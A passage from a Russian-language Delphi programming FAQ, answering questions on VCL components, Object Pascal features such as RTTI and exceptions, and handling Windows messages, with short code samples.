  NewButton := TButton.Create(Self); 

  NewButton.Parent := TWinControl(TabbedNotebook1.Pages.Objects[0]); 

То же самое справедливо и для компонента TNotebook.

6. Как включить символ & в надпись (Caption)?

Попробуйте: &&

7. Как сделать окно (TForm) без заголовка (Caption)?

Попробуйте использовать следующий код:  

constructor TPanelForm.Create(AOwner: TComponent); 

{ Вызов SetWindowLong API для изменения стиля окна главной формы. } 

{ Берется существующий стиль и убирается флаг WS_CAPTION          } 

var  

  LStyle: Longint; 

begin 

  inherited Create(AOwner); 

  BorderIcons := []; 

  LStyle := GetWindowLong(Handle, GWL_STYLE); 

  LStyle := LStyle and not WS_CAPTION; 

  SetWindowLong(Handle, GWL_STYLE, LStyle); 

{ Перерисуем окно } 

  ForceRepaint; 

end; 

procedure TPanelForm.ForceRepaint; 

var 

  RectWnd: TRect; 

  WWidth, WHeight: Integer; 

begin 

{ получаем размер окна } 

  GetWindowRect(Handle, RectWnd); 

  WWidth := RectWnd.Right-RectWnd.Left; 

  WHeight := RectWnd.Bottom-RectWnd.Top; 

{ Форсируем полную перерисовку. Это должен делать InvalidateRect() } 

{ но почему-то не делает  : (  } 

{ "сожмем" окно } 

  SetWindowPos(Handle, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE); 

{ восстановим окно } 

  SetWindowPos(Handle, HWND_TOP, 0, 0, WWidth, WHeight, SWP_NOMOVE); 

end;   

Можно поступить другим способом — выставить у формы свойство BorderStyle = bsNone, и написать следующий обработчик OnPaint:

procedure TForm1.FormPaint(Sender: TObject); 

begin 

  Canvas.Brush.Style := bsClear; 

  Canvas.Rectangle(0, 0, Width, Height); 

end;    

8. Почему некоторые компоненты типа TPanel и TEdit не имеют свойства Canvas?

Все наследники TCustomControl имеют Canvas, однако, в большинстве случаев это свойство объявлено protected для предотвращения рисования 'чужаками' на компоненте. Наследники компонента всегда могут получить доступ к унаследованным protected свойствам (типа Canvas), но пользователь компонента — никогда.  

type 

  TCanvasPanel = class(TPanel) 

  public 

    property Canvas; 

  end; 

Если вы хотите рисовать на компоненте, у которого нет public свойства Canvas, то используйте, например, компонент TPaintBox: положите его на панель TPanel, сделайте Align = Client и рисуйте на TPaintBox.Canvas.

9. Почему при уничтожении компонента в методе OnClick происходит ошибка?

Допустим, вы поместили на форму кнопку, и создали метод OnClick в котором вызываете Button1.Free. Вы видите, что это метод формы — казалось бы, какие препятствия для правильного уничтожения кнопки?

На самом деле Button1.OnClick является свойством и после запуска вашего приложения содержит адрес метода Form1.Button1Click. Именно кнопка вызывает этот метод как свой собственный. А это означает, что кнопка не может удалить себя в своем-же методе. Даже если вы попытаетесь удалить ссылку в OnClick:

Button1.OnClick := nil;

Button1.Free;

то это не поможет — стек настроен на возврат в обработчик TButton, который и вызвал OnClick. Поскольку к моменту возврата объект разрушен — возникает GPF или Access Violation.

10. Есть ли у TDBGrid события OnMouseDown, OnMouseUp и OnMouseMove?

Они есть, но не объявлены published. Вы можете создать наследника TDBGrid и сделать их published.

11. Поиск компонента в форме по имени.

Я хочу делать текущими в форме произвольные компоненты. Как выставить фокус у конкретного компонента ясно - ListBox1.SetFocus. А если я хочу обращаться к некоему компоненту по имени (свойство Name)?

Свойство TForm.Components — массив компонентов формы, который и нужен вам. Вы можете перемещаться по этому массиву пока не найдете компонент с нужным Name. Например:  

procedure TForm1.DooDah; 

var 

  Count: Integer; 

begin 

  Count := 0; 

  while (Count < ComponentCount) and (Components[Count] <> 'Button1') do Inc(Count); 

  TButton(Components[Count]).SetFocus; 

end;

или еще проще:

procedure TForm1.DooDah; 

var 

  Target: TComponent; 

begin 

  Target := FindComponent('Button1'); 

  TButton(Target).SetFocus; 

end;    

Оба этих примера показывают как найти компонент TButton с именем Button1, и вызвать его метод SetFocus.

12. Как получить горизонтальный ScrollBar на ListBox?

Пошлите сообщение LB_SETHORIZONTALEXTENT в ListBox. Например, сообщение может быть отослано в момент создания формы:  

procedure TForm1.FormCreate(Sender: TObject); 

begin 

  SendMessage(Listbox1.Handle, LB_SETHORIZONTALEXTENT, 1000, Longint(0)); 

end; 

13. Как определить текущую колонку и строку каретки в компоненте TMemo?

Вы можете использовать сообщения Windows API EM_LINEFROMCHAR и EM_LINEINDEX для определения положения.  

var 

  LineNum: Longint; 

  CharsBeforeLine: Longint; 

begin 

  LineNum := SendMessage(Memo1.Handle, EM_LINEFROMCHAR, Memo1.SelStart, 0); 

  CharsBeforeLine := SendMessage(Memo1.Handle, EM_LINEINDEX, LineNum, 0); 

  Label1.Caption := 'Line ' + IntToStr(LineNum + 1) 

  Lebel2.Caption := 'Position ' + IntToStr(Memo1.SelStart - CharsBeforeLine + 1); 

end;

14. Постранична прокрутка TMemo, реализация Undo и определение строки курсора.

Как прокрутить содержимое компонента TMemo?

Приведенная ниже процедура предполагает, что фокус находится на Edit1 и осуществляет прокрутку в соответствии с нажатыми клавишами.  

procedure TForm1.Edit1KeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); 

begin 

  if Key = VK_F8 then 

    SendMessage(Memo1.Handle,  { HWND для Memo } 

                WM_VSCROLL,    { сообщение Windows } 

                SB_PAGEDOWN,   { на страницу вниз } 

                0)             { не используется } 

  else if Key = VK_F7 then SendMessage(Memo1.Handle, WM_VSCROLL, SB_PAGEUP, 0); 

end;

Если определено всплывающее (popup) меню для TMemo,и заданы клавиши для операций Cut, Copy, Paste, то я могу обрабатывать эти события, вызывая методы CutToClipboard, CopyToClipboard, и т.д. Однако, если я поместили пункт Undo в меню (обычно Ctrl+Z), то как дать знать TMemo, что нужно выполнить Undo?

Если встроенного Undo достаточно, то это очень просто:

Memo1.Perform(EM_UNDO, 0, 0);

Для переключения свойства Enabled пункта меню Undo1:

Undo1.Enabled := Memo1.Perform(EM_CANUNDO, 0, 0) <> 0;

Как можно определить, на какой строке в TMemo находится курсор?

Весь фокус в сообщении EM_LINEFROMCHAR. Попробуйте:  

procedure TMyForm.BitBtn1Click(Sender: TObject); 

var 

  ILine: Integer; 

begin 

  ILine := Memo1.Perform(EM_LINEFROMCHAR, $FFFF, 0); 

{ Внимание: номера строк начинаются с нуля } 

  MessageDlg('Line Number: ' + IntToStr(ILine), mtInformation, [mbOK], 0); 

end; 

15. Как поместить BLOB Memo в компонент TMemo?

Попробуйте так:  

procedure TForm1.Button1Click(Sender: TObject); 

var 

  S: TBlobStream; 

begin 

  S := TBlobStream.Create(Table1BBBMemo, bmRead); 

  Memo1.Lines.LoadFromStream(S); 

  S.Free; 

end; 

где:

1. Table1BBBMemo — имя поля BLOB Memo (TMemoField).

2. Memo1 — имя компонента TMemo. Естественно, что этим же способом можно обмениваться информацией с BLOB-полями произвольного типа.

16. Как показать содержимое Memo поля в TDBGrid?

Используйте следующий код для обработки события OnDrawDataCell у TDBGrid. (Перед запуском программы создайте объект TMemoField для memo поля в Fields Editor).  

procedure TForm1.DBGrid1DrawDataCell(Sender: TObject; const Rect: TRect; Field: TField; State: TGridDrawState); 

var 

  P: array [0..1023] of Char; { MemoField buffer } 

  BS: TBlobStream; 

  S: string; 

begin 

  if Field is TMemoField then 

  with (Sender as TDBGrid).Canvas do 

  begin 

{ Table1Notes is the TMemoField } 

    BS := TBlobStream.Create(Table1Notes, bmRead); 

    FillChar(P, SizeOf(P), #0); 

    BS.Read(P, SizeOf(P)); 

    BS.Free; 

    S := StrPas(P); 

{ remove carriage returns & line feeds } 

    while Pos(#13, S) > 0 do S[Pos(#13, S)] := ' '; 

    while Pos(#10, S) > 0 do S[Pos(#10, S)] := ' '; 

{ clear the cell } 

    FillRect(Rect); 

{ fill cell with memo data } 

    TextOut(Rect.Left, Rect.Top, S); 

  end; 

end;    

17. Не возникает событие TSpeedButton.OnDblClick.

Я создаю событие на SpeedButton1.OnDblClick, но оно, похоже, вообще никогда не возникает. OnClick работает. Что делать?

На самом деле работает, только в определенных ситуациях. Если вы помещаете на панель несколько кнопок, то по умолчанию они независимы и соответственно не фиксируются в нажатом состоянии. Поскольку одиночное нажатие мыши на кнопку отрабатывается немедленно, двойной щелчок мыши воспринимается как два нажатия и отпускания. Поэтому OnDblClick и не срабатывает.

Если  же кнопки связаны в группу (GroupIndex <> 0), то они могут фиксироваться, и соответственно могут воспринимать двойной щелчок мыши.

18. Как разделить обработку OnClick и OnDblClick? Ведь OnClick будет вызываться всегда, и перед DblClick.

Именно так и происходит в Windows — посылаются оба сообщения. Для того чтобы обработать только какое-то одно событие необходимо чуть "задержать" выполнение OnClick. Сделать это можно следующим способом:  

procedure TForm1.ListBox1Click(Sender: TObject); 

var 

  Msg: TMsg; 

  TargetTime: Longint; 

begin 

{ get the maximum time to wait for a double-click message } 

  TargetTime := GetTickCount + GetDoubleClickTime; 

{ cycle until DblClick received or wait time run out } 

  while GetTickCount < TargetTime do 

  if PeekMessage(Msg, ListBox1.Handle, WM_LBUTTONDBLCLK, WM_LBUTTONDBLCLK, WM_NOREMOVE) 

  then Exit; { Double click } 

  MessageDlg('Single clicked', mtInformation, [mbOK], 0); 

end;    

19. Как определить из обработчика события OnClick в Popup.MenuItem, для какого объекта это произошло?

Используйте свойство PopupComponent компонента TPopupMenu для определения, где была нажата правая кнопка.  

procedure TForm1.PopupItem1Click(Sender: TObject); 

begin 

  Label1.Caption := PopupMenu1.PopupComponent.Name; 

end; 

Свойство ActiveControl для формы тоже можно использовать, однако, ActiveControl не обязательно является тем элементом, для которого произошло событие.

20. Как использовать case, чтобы определить, какой объект вызвал процедуру?

Используйте свойство Tag. Установите значение Tag свое у каждого объекта для опознания. (Использование констант, которые описывают объект — идеально подходит).  

case (Sender as TComponent).Tag of 

  Button1ID: SomeProcedure; 

  Button2ID: AnotherProcedure; 

end; 

Таким образом вы можете обрабатывать события как от однотипных компонент, так и от компонент разного типа.

21. Как обрабатывать события от множества однотипных компонентов.

На моей форме находится примерно 10 кнопок. Я хочу обрабатывать нажатие на любую из них одним событием, но как их отличить внутри обработчика события?

Для этого базовый класс VCL TComponent имеет поле Tag типа Longint. В момент разработки вы можете присвоить этому полю любое значение, а в момент исполнения использовать его (или переопределять). В вашей ситуации достаточно присвоить полю ButtonX.Tag значение от 1 до 10 (или от 0 до 9, как удобнее), а в обработчике написать примерно следующее:  

procedure MyForm.Button1Click(Sender: TObject); 

begin 

  case (Sender as TComponent).Tag of 

    1: {...}; 

    2: {...}; 

    3: {...}; 

  end; 

end;    

22. Использование TPanel в качестве "индикатора".

Я пытаюсь использовать TPanel как индикатор процесса обновления БД.  Однако надпись на панели не обновляется пока не закончится цикл обработки БД. В цикле вызывается Panel.Caption := ...

После присвоения Panel.Caption вызывайте Panel.Refresh или Application.ProcessMessages (второй вариант предпочтительней, так как позволяет перерисовать себя всем клмплнентам, которые в этом нуждаются).

23. Включение и выключение подсказок (Hints) для всех элементов на форме.

Если ваша форма содержит панель подсказки в нижней части формы, то вы можете определить подменю для этой панели, и выставлять Form.ShowHint в True или False в зависимости от состояния Checked элемента меню.

Например, в TMenuItem.OnClick напишите:

ShowHint := not (Sender as TMenuItem).Checked;

В результате на локальном меню панели будет видно, включены подсказки для всех элементов или нет.

24. Как в меню поместить bitmap?

Можно поступить таким образом:  

var 

  Bmp1: TBitmap; 

begin 

  Bmp1 := TBitmap.Create; 

  Bmp1.LoadFromFile('C:\WHERE\B1.BMP'); 

  SetMenuItemBitmaps(MenuItemTest.Handle, 0, MF_BYPOSITION, Bmp1.Handle, Bmp1.Handle); 

end; 

Параметры:

• MenuItemTest — имя пункта меню (горизонтальная строка)

• 0,1 ... — позиция пункта меню, в который надо вставить BMP

• первый Handle — для показа невыбранного пункта меню (Unchecked)

• второй Handle — для выбранного (Checked). Они могут быть разные

Код можно вставить в обработчик OnCreate для формы. При уничтожении меню TBitmap не уничтожается, это надо делать отдельно.

25. Каким образом можно поместить двумерный массив в TImage?

Представим, что данные находятся в массиве:

TestArray: array [0..127, 0..127] of Byte;

Картинка будет иметь размер 128×128 точек:

Image1.Picture.Bitmap.Width := 128;

Image1.Picture.Bitmap.Height := 128;

Вызываем функцию Windows API для формирования bitmap:

SetBitmapBits(Image1.Picture.Bitmap.Handle, SizeOf(TestArray), @TestArray);

Image1.Refresh;  { для того, чтобы изменения отобразились }

Однако, если вы используете свою палитру, то ее нужно создавать специально.

26. Как из программы 'открыть' TComboBox?

У TComboBox есть run-time свойство, не упомянутое в on-line help — DroppedDown.

Для открытия ComboBox напишите:

ComboBox1.DroppedDown := True;

Естественно, False закроет его.

27. Как заменить надпись 'Read only' в компонентах TSaveDialog и TOpenDialog?

Попробуйте посмотреть в Windows API Help разделы, связанные с lpTemplateName. Вообще говоря, вы можете заменить стандартный Open Dialog Box своим собственным шаблоном.

28. Проблема в использовании компонента TCustomGrid.

Делаю так:

1. Создаю новый компонент при помощи Эксперта Компонент

2. Имя класса TSampleCalendar

3. Имя родителя TCustomGrid

4. Использую страницу 'Samples'

5. Сохраняю модуль с именем CALSAMP.PAS

6. Подключаю к Палитре компонент

7. Создаю форму, помещаю новый компонент на форму и получаю Runtime Error 210 В чем дело?

Проблема в том, что TCustomGrid имеет метод DrawCell, который является абстрактным. То, что его безусловно надо переписывать у любого наследника TCustomGrid, к сожалению, не отражено в документации. Создайте этот метод (пусть даже пустой) и ваша проблема исчезнет.

29. Как установить формат для поля таблицы?

В Fields Editor выберите поле для форматирования. Используя свойства DisplayFormat и EditFormat сделайте то, что нужно. DisplayFormat работает для поля, на которое не установлен фокус. EditFormat работает для поля, на которое фокус установлен. Форматирование аналогично первому параметру в функции FormatFloat, но без скобок.

30. Можно ли использовать клавишу ENTER при вводе данных для перехода от поля к полю?

Используйте данный код для события OnKeyPress компонента TEdit.  

procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char); 

begin 

  if Key = #13 then 

  begin 

    SelectNext(Sender as TWinControl, True, True); 

    Key := #0; 

  end; 

end; 

Теперь Enter ведет себя как Tab. Затем, выберите все объекты, которые должны вести себя как Edit1 (за исключением кнопок) и в Object Inspector установите обработчик OnKeyPress в Edit1KeyPress. Каждый выбранный вами объект воспринимает Enter как Tab. Если вы хотите обрабатывать событие на уровне формы (а не в каждом отдельном компоненте), уберите обработчики события у всех компонент и создайте FormKeyPress — обработчик OnKeyPress для формы:  

procedure TForm1.FormKeyPress(Sender: TObject; var Key: Char); 

begin 

  if Key = #13 then 

  begin 

    SelectNext(Sender as TWinControl, True, True); 

    Key := #0; 

  end; 

end; 

Все объекты на форме будут воспринимать Enter как Tab.

Общие вопросы по Delphi и данному FAQ (часть 3)

Object Pascal и Windows API

1. Как работает информация времени выполнения (RTTI)?

Имеются два новых оператора: as и is. as  — оператор защищенного преобразования типов (typecasting). Вы можете использовать его, чтобы заставить компилятор преобразовать объект из одного типа в другой, но, если в во время выполнения эти типы окажутся несовместимыми, то вы получите ошибку. Hапример, если вы имеете класс TSport, с потомоками TBasketball и TFootball, вам может потребоваться переменная типа TSport; далее может так случиться, что в программе эта переменная будет фактически содержать экземпляр типа TFootball. Тогда вы можете обратиться к этой переменной

(MySport as TFootball)

чтобы получить доступ к специфическим свойствам из типа TFootball. Однако, если вы ошиблись и на самом деле это экземпляр типа TBasketball, то при обращении к несуществующим свойствам будет возникать ошибка. Оператор is определяет, принадлежит ли экземпляр объекта к данному классу, либо к классу одного из его предков, и используется для проверки, сработает ли преобразование типов с данным объектом. Если вы имеете переменную MySport типа TSport, и в настоящее время она содержит экземпляр TBasketball, тогда следующие выражения истинны:

(MySport is TSport)

(MySport is TBasketball)

not (MySport is TFootball)

Следует иметь ввиду, что компилятор разрешает использовать данные конструкции только для выполнения преобразования типов, связанных родственными отношениями. Так, конструкция (Button1 as TEdit) (переменная Button1 имеет тип TButton) вызовет ошибку компиляции, так как ни при каких условиях не может быть выполнено преобразование типов от TButton к TEdit или наоборот. Комбинация двух операторов может привести к выражению типа следующего :

function PlayerGoodness(var MySport: TSport): Integer; 

begin 

  if (MySport is TBasketball) then 

    Result := (MySport as TBasketball).ReboundShots 

  else if (MySport is TFootball) then 

    Result := (MySport as TFootball).TotalYardage; 

end;

Также, базовый класс TObject имеет набор методов, которые возвращают информацию, созданную компилятором в момент компиляции текста для поддержки RTTI. Hапример, метод TObject.ClassName возвращает имя класса любого объекта, наследованного от TObject. Hапример, TButton.ClassName вернет значение 'TButton'. 

2. Как работает обработка исключительных ситуаций в Delphi?

Основная структура выглядит примерно так:

P := New(BigThing); 

try 

  try 

    Proc1(P); 

    Proc2(P); 

  except 

    Handle(P); 

    raise; 

  end; 

finally 

  Dispose(P); 

end;

Первая строка распределяет большой блок памяти. Затем, в блоке try, выполняется несколько операторов, каждый из которых может вызвать ошибку, или, другими словами, "вызвать исключительную ситуацию". Если возникает ошибка, оставшаяся часть блока try пропускается, и выполняются блоки except и finally. Если ошибок нет, то после выполнения всех операторов в блоке try выполнится блок finally. В любом случае, блок памяти будет освобожден. Блок try … finally ловит все, включая Windows GPF или Access Violation. Обратите внимание на вызов raise в блоке try … except. Он снова вызывает исключительную ситуацию, которая вызовет сообщение об ошибке после того, когда закончится блок finally. Если не вызвать raise, то считается, что вы обработали исключительную ситуацию самостоятельно в пределах блока except.

3. Есть ли простой способ перехватить exception?

Создайте метод для формы, перехватывающий исключения. Этот метод будет вызываться обработчиком OnException объекта Application. В вашем методе проверьте, тот ли это исключение, что вы ожидаете, например EDatabaseError. Почитайте on-line help для события OnException. Там есть информация, как вызвать собственный метод для события.  

procedure TForm1.MyExcept(Sender: TObject; E: Exception); 

begin 

  if E is EDatabaseError then MessageDlg('Поймали exception', mtInformation, [mbOk], 0) 

{ это не то, сделать raise } 

  else raise E; 

end; 

procedure TForm1.FormCreate(Sender: TObject); 

begin 

  Application.OnException := MyExcept; 

{ здесь вы указываете, что событие OnException выполнит ваш метод } 

end; 

4. Delphi используют строки в стиле Pascal или C?

И те и другие. Delphi имеет два различных набора функций манипулирования строками, один - для PChar; но в Delphi также есть функция MessageDlg, которая принимает строки типа Pascal.

Delphi 2.0 добавляет так называемые длинные строки (AnsiString), которыми можно манипулировать как обычными строками в Pascal, но они имеют динамически изменяющийся размер и могут быть размером до 4Гбайт. Можно выполнять преобразования от PChar к AnsiString и наоборот. Старый строковый тип теперь называется ShortString. По умолчанию кличевое слово string соответствует типу AnsiString.

5. Есть ли в Delphi битовые множества?

В явном виде битовых множеств в языке Object Pascal нет. Но вместо этого можно использовать обычные множества, которые на самом деле и хранятся как битовые. Если множество вам нужно для проверки, установлен ли какой то бит в слове (байте и т.д.) можно попробовать такую конструкцию:

type 

  PByteSet = ^TByteSet; 

  TByteSet = set of Byte; 

var 

  W: Word; 

... 

{ если бит 3 в слове W установлен, тогда ... } 

  if 3 in PByteSet(@W)^ then ... 

... 

В Delphi 2.0 есть специальный класс TBitSet, который ведет себя как битовое множество.Для Delphi 1.0 вы можете написать такой класс самостоятельно.

6. Проблема с числом типа Single в DLL.

Я написал на C++ DLL, в которой у меня функция использует число типа float, передал из Delphi число типа Single и получил GPF 'Invalid Opcode'. Что неправильно?

Если вы используете числа с плавающей точкой, лучше передавать их не по значению, а по ссылке (указатель в C++). Вероятно DLL написана на MS Visual C++, так как Microsoft и Borland используют разные соглашения о передаче параметров при работе с сопроцессором. В случае Borland C++ и Delphi должны использовать одинаковый способ передачи параметров и значений (через стек сопроцессора). В любом случае вместо Single лучше использовать Double (double или long float в C++), так как вообще говоря, реальный тип, который соответствует типу Single точно не определен и может измениться в будущем.

7. Как заставить приложение Delphi отвечать на сообщения Windows?

Используем сообщение WM_WININICHANGED в качестве примера. Объявление метода в TForm позволит вам обрабатывать сообщение WM_WININICHANGED:

procedure WMWinIniChange(var Message: TMessage); message WM_WININICHANGE;

Код в implementation может выглядеть так:

procedure TForm1.WMWinIniChange(var Message: TMessage); 

begin 

  inherited; 

{ ... ваша реакция на событие ... } 

end;

Вызов inherited метода очень важен. Обратите внимание также на то, что для функций, объявленных с директивой message (обработчиков событий Windows) после inherited нет имени наследуемой процедуры, потому что она может быть неизвестна или вообще отсутствовать (в этом случае вы в действительности вызываете процедуру DefaultHandler).

8. Как обработать события от других приложений?

Попробуйте сделать это следующим образом:

type 

  TForm1 = class(TForm) 

  ... 

  private 

    procedure WMNCActivate(var Msg: TMessage); message WM_NCACTIVATE; 

  end; 

procedure TForm1.WMNCActivate(var Msg: TMessage); 

begin 

{ здесь обработка принятых событий } 

end; 

9. Как перехватить сообщения Windows и обработать их перед тем, как выполнится строка Application.Run?

Пример проекта показывает, как получить сообщения Windows в данном случае. Это редкий случай, в большинстве случаев переопределение процедуры Application.OnMessage будет делать то же самое.

program Project1; 

uses 

  Forms, 

  Unit1 in 'UNIT1.PAS' { Form1 }, 

  Messages, WinTypes, WinProcs, 

{$R *.RES} 

var 

  OldWndProc: TFarProc; 

function NewWndProc(hWndAppl: HWnd; Msg, wParam: Word; lParam: Longint): Longint; export; 

begin 

{ default WndProc return value } 

  Result := 0; 

{ handle messages here; the message number is in Msg } 

  Result := CallWindowProc(OldWndProc, hWndAppl, Msg, wParam, lParam); 

end; 

begin 

  Application.CreateForm(TForm1, Form1); 

  OldWndProc := TFarProc(GetWindowLong(Application.Handle, GWL_WNDPROC)); 

  SetWindowLong(Application.Handle, GWL_WNDPROC, Longint(@NewWndProc)); 

  Application.Run; 

end. 

10. Проблема с DragDrop для внешних программ.

Я пишу небольшую программку — "мусорную корзину". В FormCreate вызывается DragAcceptFiles(HANDLE, True). Проблема в том, что когда размер окна восстанавливается и затем минимизируется Drag and Drop перестает работать. Я безуспешно пробовал помещать DragAcceptFiles в разные методы формы. Однако если сделать вызов DragAcceptFiles(Application.Handle, True) в MainForm.Create, то все работает. Как перехватить событие WM_DROPFILES?

Это можно сделать так:

type 

  TMainForm = class(TForm) 

  ... 

    procedure FormCreate(Sender: TObject); 

  private 

    procedure DropFiles(var Msg : TWMDropFiles); message WM_DROPFILES; 

  end; 

procedure TMainForm.DropFiles(var Msg : TWMDropFiles); 

begin 

  DragQueryPoint(Msg.Drop, Point); 

  NrOfFiles := DragQueryFile(Msg.Drop, Word(-1), FileName, BufSize); 

  DragQueryFile(Msg.Drop, 0, FileName, BufSize); 

end; 

procedure TMainForm.FormCreate(Sender: TObject); 

begin 

  DragAcceptFiles(Handle, True); 

end; 

Подробнее о перехвате событий Windows см. Главу 7 руководства Component Writers Guide.

11. Как обрабатывать WM_DROPFILES (Drag/Drop)?

Следующий код показывает как обрабатывать это событие. Обрабатываются имена всех "брошенных" файлов. Для загрузки каждого файла вызывается CreateChild(FName). В обработчике OnCreate данной формы вы должны вызвать DragAcceptFiles.

type 

  TFrameForm = class(TForm) 

  ... 

  protected 

    procedure WMDropFiles(var Msg: TMessage); message WM_DROPFILES; 

  end; 

procedure TFrameForm.WMDropFiles(var Msg : TMessage); 

var 

  I, N, Size: Word; 

  FName: string; 

  HDrop: Word; 

begin 

  HDrop := Msg.WParam; 

  N := DragQueryFile(HDrop, $FFFF, nil, 0); 

  for I := 0 to (N-1) do 

  begin 

    Size := DragQueryFile(HDrop, I, nil, 0); 

    if Size < 255 then { 255 char. string limit - not really a problem } 

    begin 

      FName[0] := Chr(Size); 

      DragQueryFile(HDrop, I, @FName[1], Size+1); 

      CreateChild(FName); 

    end; 

  end; 

  Msg.Result := 0; 

  inherited; 

end; 

12. Как может выделить время CPU другим задачам , подобно "DoEvents" в VB?

Эквивалент в Delphi — Application.ProcessMessages.

Если вы выполняете долгие вычисления, то вызов данного метода позволит в Win 16 выполняться параллельно другим приложениям, а в Win 32 - корректно перерисовываться вашему приложению.

13. В каком порядке происходят события при создании и показе окна?

При создании окна обработчики событий выполняются в следующем порядке:

• OnCreate

• OnShow

• OnPaint

• OnActivate

• OnResize

• OnPaint (снова)

14. UpCase для русского языка.

Данная функция (UpCase) производит преобразование только латинских символов в верхний регистр. Для правильного преобразования необходимо использовать функции Windows API, поскольку именно Windows должна "знать" о кодировке национальных символов. Причем к конфигурации BDE кодровка Windows не имеет никакого отношения — имея английские Windows без русификатора и выставив в BDE кодировку Paradox ANSII Cyrillic нормальных русских букв получить не удастся.

А функции для преобразования следующие — OemToAnsi, AnsiToOem, OemToAnsiBuf, AnsiToOemBuf в Win16 (модуль WinProcs) и OemToChar, CharToOem, OemToCharBuf и CharToOemBuf в Win32 (модуль Windows)..

15. Приложение, написанное на Delphi, не запускается минимизированным.

Проверьте глобальную переменную CmdShow для того чтобы определить, в каком состоянии запускается приложение, и модифицируйте ее как вам необходимо:

procedure TForm1.FormCreate(Sender: TObject); 

begin 

  if CmdShow = SW_SHOWMINNOACTIVE then WindowState := wsMinimized; 

end;

Например, если необходимо запускать приложение либо минимизированным, либо максимизированным, используйте следующий код: 

procedure TForm1.FormCreate(Sender: TObject);

begin 

  if CmdShow = SW_SHOWMINNOACTIVE then WindowState := wsMinimized 

  else WindowState := wsMaximized; 

end;

16. Объясните разницу в помещении uses в секцию interface или implementation.

Секция interface — интерфейсная. Туда попадают объявления констант, типов (в т.ч. и объектов или классов) переменных, процедур и функций. Поэтому для этой части uses должен содержать ссылки на те модули, которые используются для объявлений в этой части.

Секция implementation — описание реализации интерфейсной части, здесь в uses должны быть упомянуты те модули, которыми вы пользуетесь для написания кода. Например, Вы хотите в модуле пользоваться функциями API Windows, для этого добавьте в объявлении implementation строку uses WinTypes, WinProcs; или uses Windows;. Таким образом, вы явно указываете что данными модулями будете пользоваться только в секции реализации.

Конечно, можно упоминать модули только в части interface, но правильная расстановка имен модулей в соответствующем uses гарантирует исключение циклических ссылок, а также улучшает читаемость программы.

17. Как спрятать окна MDI Child?

Я пытаюсь это сделать, выставляя Form1.Visible := False, но это не помогает.

Windows не позволяет прятать окна MDI Child.

18. Как убрать заголовок у формы MDIChild?

Как убрать заголовок (Caption) из MDIChild?

Для MDIChild установка свойства BorderStyle := bsNone не убирает заголовок. Это можно сделать так:

procedure TMDIChildForm.CreateParams(var Params: TCreateParams); 

begin 

  inherited CreateParams(Params); 

  Params.Style := Params.Style and (not WS_CAPTION); 

end;

19. Сохранение данных в Clipboard.

Мне нужно использовать clipboard для сохранения данных в собственном формате и я хочу для этого написать набор процедур ввода/вывода с использованием потоков (streams). Возможно ли создать объект TMemoryStream, эаполнить его и поместить в Clipboard?

Не только возможно, именно так поступают функции Clipboard.GetComponent и Clipboard.SetComponent. Сначала вы должны зарегистрировать свой собственный формат данных для Clipboard с помощью функции RegisterClipboardFormat:

CF_MYFORMAT := RegisterClipboardFormat('My Format Description'); Далее вы должны выполнить шаги:

1. Создать поток (memory stream) и записать туда данные.

2. Создать глобальный буфер в памяти и скопировать поток туда.

3. Вызвать Clipboard.SetAsHandle(), чтобы поместить буфер в Clipboard.

Пример:

var 

  hBuf: THandle; 

  Bufptr: Pointer; 

  MStream: TMemoryStream; 

begin 

  MStream := TMemoryStream.Create; 

  try 

  { write your data to the stream } 

    hBuf := GlobalAlloc(GMEM_MOVEABLE, MStream.Size); 

    try 

      BufPtr := GlobalLock(hBuf); 

      try 

        Move(MStream.Memory^, BufPtr^, MStream.Size); 

        Clipboard.SetAsHandle(CF_MYFORMAT, hBuf); 

      finally 

        GlobalUnlock(hBuf); 

      end; 

    except 

      GlobalFree(hBuf); 

      raise; 

    end; 

  finally 

    MStream.Free; 

  end; 

end; 

Внимание: не уничтожайте буфер, созданный с GlobalAlloc. Поскольку вы поместили его в Clipboard, это уже дело clipboard'а его уничтожить. Опять же, получая буфер из Clipboard, не уничтожайте этот буфер - просто сделайте копию содержимого.

Для обратного получения потока и данных, сделайте что-нибудь вроде этого:

var 

  hBuf: THandle; 

  BufPtr: Pointer; 

  MStream: TMemoryStream; 

begin 

  hBuf := Clipboard.GetAsHandle(CF_MYFORMAT); 

  if hBuf <> 0 then 

  begin 

    BufPtr := GlobalLock(hBuf); 

    if BufPtr <> nil then 

    try 

      MStream := TMemoryStream.Create; 

      try 

        MStream.WriteBuffer(BufPtr^, GlobalSize(hBuf)); 

        MStream.Position := 0; 

      { read your data from the stream } 

      finally 

        MStream.Free; 

      end; 

    finally 

      GlobalUnlock(hBuf); 

    end; 

  end; 

end; 

20. Что означает Key<>#0 ? 

В исходном тексте одного из компонентов третьих фирм я увидел строку:

if Key <> #0 then inherited KeyPress(#0);

В Windows виртуальные коды находятся в диапазоне 1-145 (Dec). Зачем нужна такая проверка?

В соответствии с соглашением Windows код клавиши #0 означает отсутствие реального нажатия. Управление в данную точку программы могло попасть, например вследствие прямого вызова, а не нажатия клавиши или же нажатие уже было обработано предком, вследствие чего код нажатой клавиши был сброшен в 0.

21. Аналог процедуры TP/BP Delay.

procedure TForm1.Delay(MSecs: Longint); 

var 

  FirstTick: Longint; 

begin 

  FirstTick := GetTickCount; 

  repeat 

    Application.ProcessMessages; 

  until GetTickCount - FirstTick >= MSecs; 

end; 

В Win32 API существуют также функции Sleep и SleepEx.

22. Каким образом создать форму, которую можно таскать за поле?

Как сделать форму (окно), которое перетаскивается не за заголовок (Сaption), а за все поле ?

Нужно обрабатывать сообщение WM_NCHITTEST:

type 

  TForm1 = class(TForm) 

  ... 

  private 

    procedure WMNCHitTest(var M: TWMNCHitTest); message WM_NCHITTEST; 

  end; 

procedure TForm1.WMNCHitTest(var M: TWMNCHitTest); 

begin 

  inherited;                  { вызов унаследованного обработчика      } 

  if M.Result = htClient then { Мышь сидит на окне?                    } 

     M.Result := htCaption;   { Если да - то пусть Windows думает, что } 

                              { мышь на caption bar                    } 

end; 

Примечание: окно можно сделать вообще без Сaption.

23. Как программно спрятать или показать заголовок у формы?

Как программно спрятать или показать заголовок (Caption) у формы?

Вы можете попробовать следующее:

procedure TForm1.HideTitlebar; 

var 

  Save: Longint; 

begin 

  if BorderStyle=bsNone then Exit; 

  Save := GetWindowLong(Handle, GWL_STYLE); 

  if (Save and WS_CAPTION) = WS_CAPTION then 

  begin 

    case BorderStyle of 

